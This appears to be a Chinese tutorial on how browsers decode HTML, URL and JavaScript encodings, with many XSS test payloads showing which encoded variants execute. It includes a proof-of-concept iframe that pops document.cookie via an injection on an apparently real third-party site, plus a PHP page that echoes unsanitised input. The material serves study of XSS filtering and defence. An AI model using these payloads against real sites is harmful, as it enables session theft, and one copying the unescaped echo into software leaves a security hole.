html 的解析顺序:html parser --> css parser -->javascript parser
<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123)>')" />
我们可以看到这个button添加了click事件,那么当点击按钮的时候会向网页的文档流中插入html代码,弹出对话框。
<script>
function HtmlEncode(str) {
var s = "";
if (str.length == 0) return "";
s = str.replace(/&/g, "&");
s = s.replace(/</g, "<");
s = s.replace(/>/g, ">");
s = s.replace(/\"/g, """);
return s;
}
</script>
A: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />
B: <input type="button" id="exec_btn" value="exec" onclick="document.write (HtmlEncode('<img src=@ onerror=alert(123) />'))" />
上面两条的执行结果是一样的,都只是在网页中输出了<img src=@ onerror=alert(123) />
而没有弹框, 只不过A中的js代码在执行前已经先按照html的形式解码了,浏览器已经先将 <img src=@ onerror=alert(123) />
解码成 <img src=@ onerror=alert(123) />
,所以他们的执行效果是一样的。
关键的问题是这里的js代码是出现在html标签之间的,因为嵌入到html标签中的js 代码在解析之前会先按照html规则进行自动解码,包括:
进制编码:&#xH(十六进制格式)、&#D(十进制格式)。
HTML 实体编码,下面是 html5 新增的实体编码:
: => [冒号]

 => [换行]
case: <a href="javasc
ript:alert(1)">click</a>
以上是关于js在html内的解码,那么假如用户的输入后所传递的值并不是出现在html标签之内,而是出现在js中呢? 浏览器也有js的解析规则,还是举例子来说明
<script>
document.write('<img src=@ onerror=alert(123) />');
</script>
上边的例子会弹出对话框吗?是不会的,因为它出现在js代码之中,上下文环境为JavaScript,浏览器解析前会将出现在js代码中的以下内容编码进行解码
1):UniCode形式(\uH)
<script>
document.write('\u003Cimg src=@ onerror=alert(123) /\u003E');
</script>
我们发现这个例子弹出对话框了,道理是一样的,js在执行前已经将特殊字符解码了。
2):普通16进制(\xHH) 或者 8进制([0-7]{1,3})
<script>
document.write('\x3Cimg src=@ onerror=alert(123) /\x3E');
</script>
3):纯转义,如果用户带入js代码的内容中含有 '、"、< 、> 这些字符将他们进行转义是没有意义的,还是会原样的输出
看下边的示例:
<script>
//document.write('\<img src=@ onerror=alert(123) /\>'); //弹框
//document.write('te\'st'); //te'st
//document.write('te\"st'); //te"st
</script>
由此可知 在js代码中对这些字符转义是没意义的。
具有 HtmlEncode 功能的标签
如 <textarea>、<title>、<iframe>、<noscript>、<noframes>、<xmp>、<plaintext>, html 在这些标签里面是不解析的,比如 $('tt').innerHTML='<img src=@ onerror=alert(123) />'
,不会造成弹框。<xmp> 没有HtmlEncode 功能,<plaintext> 在 Firefox 下不会进行 HtmlEncode 编码,而在 Chrome 下面会。
1.第一个例子,现在考虑这三种编码同时存在的情况
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>
首先是 HTML 解码,结果为
<a href="javascript: alert('\<http://simba.cc/find?q=%E4%BD%A0%E5%A5%BD\>');">click</a>
(上一行代码浏览器解析完查看dom树审查元素)
点击链接后,先是 URL 解码,结果为(假设是 style 属性,则会执行 css 解码)
<a href="javascript: alert('\<http://simba.cc/find?q=你好\>');">click</a>
最后是 JS 解码,结果为
<a href="javascript: alert('<http://simba.cc/find?q=你好>');">click</a>
应该会出现一个弹窗,内容是 <http://simba.cc/find?q=你好>
。
2.第二个例子,一段 php 代码
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<a href="javascript:alert('<?php echo $_GET['input'];?>');">test</a>
</body>
</html>
当参数input的值为: %26lt%5cu4e00%26gt
的时候,因为 php 使用 $_GET 获取参数值(urldecode),故返回的 html 源码是 <a href="javascript:alert('<\u4e00>');">test</a>
,浏览器解析时 html 解码 为 <a href="javascript:alert('<\u4e00>');">test</a>
(查看dom 树审查元素),点击时进行 js 解码,故弹框为 <一>
从浏览器 url 发出的请求,如果进行了 urlencode(比如chrome一般会编码 "<>,firefox 一般会编码 ' " ` <>, 而ie 分具体情况,如 /path/payload 会编码,而 /path/aa?bb=paylod 不会编码),比如将 "
转成%22
发出去,在服务器端的php 接收到的是原始的"
还是编码后的%22
得看用$_GET["key"]
还是$_SERVER['QUERY_STRING']
,还要看在php 脚本内有没有做 addslashes
或者 htmlspecialchars
等函数调用,这样就能判断解析脚本 echo/print 出来的html 是怎样的组织形式,当然客户端请求得到的html 也就是这样的形式了。那为什么在chrome中对于< 等没有alert 弹窗呢,只是因为某些浏览器有anti_xss 模块或者filter,在浏览器解析 html 的时候 过滤掉这些危险的script 而没有执行,比如 ie 可以关闭掉 xss 筛选器让其弹框,而chrome 对于直接从参数中引入到页面的标签会限制其执行。对于ie 而言,如果页面 js 取location.href or #锚参数 or get参数 的值,则保持 地址栏原有模样(可能编码或者没编码)。其他浏览器 取到的都是编码后的样子(取决于浏览器本身会编码哪些字符发起请求)。这对于domxss 来说是一个比较重要的区分点,关注是否使用了 js 函数 decodeURIComponent(),也是是否会造成 domxss 漏洞的一个区分点。
为了看参数是否Urlencode对返回结果是否有影响,可以用一些工具比如 fiddle 发出编码和不编码时的请求,对比观察。这种不编码访问才能触发的xss 漏洞,最简单的利用方式是写一个html,里面用 iframe src 引入完整不编码 payload 链接,用 ie 访问此 html。注意如果此时弹 cookie 的话弹出的是 iframe 内 domain 域的 cookie,因为浏览器在请求第三方站点时也会把相关cookie发送出去(没有P3P 属性的 persistent cookie 有例外),如下:
<html lang="zh-cn"><body><iframe src="http://subao.dayuw.cn/web/index.php?c=user&a='};alert(document.cookie);aa={//"></body></html>
注意:由于同源策略的存在,本地html 是读取不到第三方站点 cookie的,但这里演示的是第三方站点自己存在漏洞,自己执行 js 弹cookie。
下面的测试用例涉及到的底层知识比较多,详情可以查阅Reference的第二篇文章,在这里只做简单介绍。
Basics
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
URL encoded "javascript:alert(1)"
不会触发。javascript: 是 scheme,不能进行urlencode,否则 urldecode 时出现 "no scheme" 状态。<a href="javascript:%61%6c%65%72%74%28%32%29">
Character entity encoded "javascript" and URL encoded "alert(2)"
触发。先进行 htmldecode,点击执行urldecode,最后执行 js。<a href="javascript%3aalert(3)"></a>
URL encoded ":"
不会触发。冒号是 scheme 的一部分。<div><img src=x onerror=alert(4)></div>
Character entity encoded < and >
不会触发。< > 是识别 tag 的开始结束符,不能进行编码。<textarea><script>alert(5)</script></textarea>
Character entity encoded < and >
如前所述,textarea 等标签内不会进行 htmldecode。<textarea><script>alert(6)</script></textarea>
不会触发。textarea 标签内不会执行 js,除非我们先把它闭合了。
Advanced
7. <button onclick="confirm('7');">Button</button>
Character entity encoded '
触发。先进行 htmldecode,点击触发 js 事件
8. <button onclick="confirm('8\u0027);">Button</button>
Unicode escape sequence encoded '
不会触发。' " ( ) 的unicode 编码形式在这里只是字符串的文本含义,并不能表示真正的引号闭合。
9. <script>alert(9);</script>
Character entity encoded alert(9);
不会触发。script 域内不会进行 htmldecode
(add: <script src="ah.js"></script>
// ah.js --> alert(document.domain);)
10. <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode Escape sequence encoded alert
触发。function name 是 identifier name,可以用unicode 方式编码。
(add: at here only unicode can be used to encode function name, but not \xHH or \OOO,
of course we can
var a = "\74\151\155\147\40\163\162\143\75\43\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76";
document.body.innerHTML = a; // <img src=# onerror=alert(1)>
or
<div><a href="javascript:\u0061lert('1\x62')">ga</a></div>
or
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074(1)">
)
11. <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode Escape sequence encoded alert(11)
不会触发。同问题2。
12. <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode Escape sequence encoded alert and 12
不会触发。unicode 编码的 1, 2 在这里不能表示成字符串,因为它们不是被包裹在 ' " 中。
(add: the examples below works fine.
<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
<script>\u0061\u006c\u0065\u0072\u0074(/\u0031\u0032/)</script>
<script>\u0061\u006c\u0065\u0072\u0074(12)</script>
)
13. <script>alert('13\u0027)</script>
Unicode escape sequence encoded '
不会触发。同问题2。
14. <script>alert('14\u000a')</script>
Unicode escape sequence encoded line feed.
触发。unicode 编码的换行符在这里并不会真正地换行而导致js 语法错误,而是普通的文本含义。
15. <a href='javascript:focusUser("616d75576d3242746c5a7076%22-alert(777)-%22",1,"focusId");'>
点击会触发。先进行urldecode,这样 js 函数内的双引号就可以闭合。
<a href='javascript:focusUser("616d75576d3242746c5a7076%22-document.write(%27%3Ciframe/onload=alert(11)%3E%27)-%22",1,"focusId");'
在 ie 点击时会触发,可以将 "-document.write('<iframe/onload=alert(11)>')-"
提取出来作为一条 domxss 的测试用例。
Bonus
<a
href="javascript:%
5c%75%30%30%3
6%31%5c%75%30
%30%36%63%5c%
75%30%30%36%3
5%5c%75%30%30
%37%32%5c%75%
30%30%37%34(1
5)"></a>
You figure out the encoding on this yourself!
(add: html decode --> url decode --> js decode, then it works!
if href's value contain " if will turn into " inorder not to close the pre double quote )
《Web 前端黑客技术揭秘》
Deep dive into browser parsing and XSS payload encoding